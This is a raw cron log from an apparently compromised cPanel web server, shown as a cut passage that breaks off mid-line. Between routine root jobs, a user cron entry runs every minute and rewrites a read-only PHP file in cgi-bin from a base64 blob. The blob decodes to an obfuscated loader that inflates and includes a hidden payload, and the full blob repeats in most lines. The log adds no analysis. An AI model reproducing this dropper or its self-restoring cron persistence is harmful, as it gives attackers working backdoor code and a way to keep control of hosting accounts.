Nov 12 09:16:01 server CROND[9403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:17:01 server CROND[10215]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:18:01 server CROND[11328]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:19:01 server CROND[12168]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:20:01 server CROND[13008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:20:01 server CROND[13009]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 09:20:01 server CROND[13016]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 09:20:01 server CROND[13015]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 09:20:01 server CROND[13017]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:21:01 server CROND[13892]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:22:01 server CROND[14307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:23:01 server CROND[14987]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:24:01 server CROND[15818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:25:01 server CROND[16646]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 09:25:01 server CROND[16647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:25:01 server CROND[16648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:26:01 server CROND[17169]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:27:01 server CROND[18006]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 09:27:01 server CROND[18008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:28:01 server CROND[18921]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:29:01 server CROND[19745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 